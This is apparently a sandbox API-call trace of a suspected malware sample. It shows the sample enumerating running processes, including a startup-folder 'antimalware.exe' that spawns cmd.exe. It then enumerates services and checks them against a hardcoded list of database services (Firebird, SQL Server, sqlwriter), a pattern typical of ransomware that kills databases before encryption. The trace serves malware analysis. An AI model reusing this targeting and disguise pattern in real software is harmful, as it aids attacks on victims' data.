	[0139.363] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0139.364] lstrlenW (lpString="wininit.exe") returned 11
	[0139.364] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0139.365] lstrlenW (lpString="csrss.exe") returned 9
	[0139.365] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0139.366] lstrlenW (lpString="winlogon.exe") returned 12
	[0139.366] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0139.367] lstrlenW (lpString="services.exe") returned 12
	[0139.367] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0139.368] lstrlenW (lpString="lsass.exe") returned 9
	[0139.368] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0139.368] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0139.369] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0139.369] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0139.369] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.370] lstrlenW (lpString="svchost.exe") returned 11
	[0139.370] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.371] lstrlenW (lpString="svchost.exe") returned 11
	[0139.371] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0139.372] lstrlenW (lpString="dwm.exe") returned 7
	[0139.372] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.373] lstrlenW (lpString="svchost.exe") returned 11
	[0139.373] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.374] lstrlenW (lpString="svchost.exe") returned 11
	[0139.374] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.375] lstrlenW (lpString="svchost.exe") returned 11
	[0139.375] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.376] lstrlenW (lpString="svchost.exe") returned 11
	[0139.376] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.376] lstrlenW (lpString="svchost.exe") returned 11
	[0139.376] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.377] lstrlenW (lpString="svchost.exe") returned 11
	[0139.377] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.378] lstrlenW (lpString="svchost.exe") returned 11
	[0139.378] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.379] lstrlenW (lpString="svchost.exe") returned 11
	[0139.379] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.380] lstrlenW (lpString="svchost.exe") returned 11
	[0139.380] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.381] lstrlenW (lpString="svchost.exe") returned 11
	[0139.381] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0139.382] lstrlenW (lpString="spoolsv.exe") returned 11
	[0139.382] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.383] lstrlenW (lpString="svchost.exe") returned 11
	[0139.383] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0139.384] lstrlenW (lpString="audiodg.exe") returned 11
	[0139.384] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0139.385] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0139.385] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0139.386] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0139.386] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0139.387] lstrlenW (lpString="sihost.exe") returned 10
	[0139.387] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0139.388] lstrlenW (lpString="Memory Compression") returned 18
	[0139.388] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0139.389] lstrlenW (lpString="svchost.exe") returned 11
	[0139.389] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0139.390] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0139.390] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0139.391] lstrlenW (lpString="taskhostw.exe") returned 13
	[0139.391] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0139.392] lstrlenW (lpString="msoia.exe") returned 9
	[0139.392] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0139.393] lstrlenW (lpString="taskhostw.exe") returned 13
	[0139.393] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0139.394] lstrlenW (lpString="explorer.exe") returned 12
	[0139.394] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0139.395] lstrlenW (lpString="SearchUI.exe") returned 12
	[0139.395] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0140.147] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0140.147] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0140.148] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0140.148] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0140.149] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0140.149] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0140.149] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0140.150] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0140.150] lstrlenW (lpString="cmd.exe") returned 7
	[0140.150] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0140.151] lstrlenW (lpString="conhost.exe") returned 11
	[0140.151] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0140.152] lstrlenW (lpString="mode.com") returned 8
	[0140.152] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0140.153] CloseHandle (hObject=0x488) returned 1
	[0140.153] Sleep (dwMilliseconds=0x1f4) 
	[0141.104] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0520
	[0141.105] EnumServicesStatusExW (in: hSCManager=0x45b0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0141.105] GetLastError () returned 0xea
	[0141.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b58) returned 0x4591700
	[0141.105] EnumServicesStatusExW (in: hSCManager=0x45b0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4591700, cbBufSize=0x1b58, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4591700, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0141.106] CloseServiceHandle (hSCObject=0x45b0520) returned 1
	[0141.106] lstrlenW (lpString="AppXSvc") returned 7
	[0141.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0141.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0141.106] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0141.106] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0141.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0141.107] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0141.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0141.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0141.107] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0141.107] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0141.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0141.107] lstrlenW (lpString="Audiosrv") returned 8
	[0141.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0141.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0141.107] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0141.107] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0141.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0141.107] lstrlenW (lpString="BFE") returned 3
	[0141.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0141.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0141.107] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0141.107] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0141.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0141.107] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0141.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0141.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0141.107] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0141.107] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0141.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0141.107] lstrlenW (lpString="CDPSvc") returned 6
	[0141.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0141.108] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0141.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0141.108] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0141.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0141.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0141.108] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0141.108] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0141.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0141.108] lstrlenW (lpString="CryptSvc") returned 8
	[0141.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0141.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0141.108] lstrlenW (lpString="DcomLaunch") returned 10
	[0141.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0141.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0141.108] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0141.108] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0141.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0141.108] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0141.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0141.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0141.109] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0141.109] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0141.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0141.109] lstrlenW (lpString="Dhcp") returned 4
	[0141.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0141.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0141.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0141.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0141.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0141.109] lstrlenW (lpString="Dnscache") returned 8
	[0141.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0141.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0141.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0141.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0141.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0141.109] lstrlenW (lpString="DPS") returned 3
	[0141.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0141.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0141.109] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0141.109] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0141.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0141.109] lstrlenW (lpString="DusmSvc") returned 7
	[0141.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0141.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0141.109] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0141.109] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0141.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0141.110] lstrlenW (lpString="EventLog") returned 8
	[0141.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0141.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0141.110] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0141.110] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0141.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0141.110] lstrlenW (lpString="EventSystem") returned 11
	[0141.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0141.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0141.110] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0141.110] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0141.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0141.110] lstrlenW (lpString="FontCache") returned 9
	[0141.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0141.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0141.110] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0141.110] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0141.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0141.110] lstrlenW (lpString="gpsvc") returned 5
	[0141.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0141.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0141.110] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0141.110] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0141.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0141.110] lstrlenW (lpString="iphlpsvc") returned 8
	[0141.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
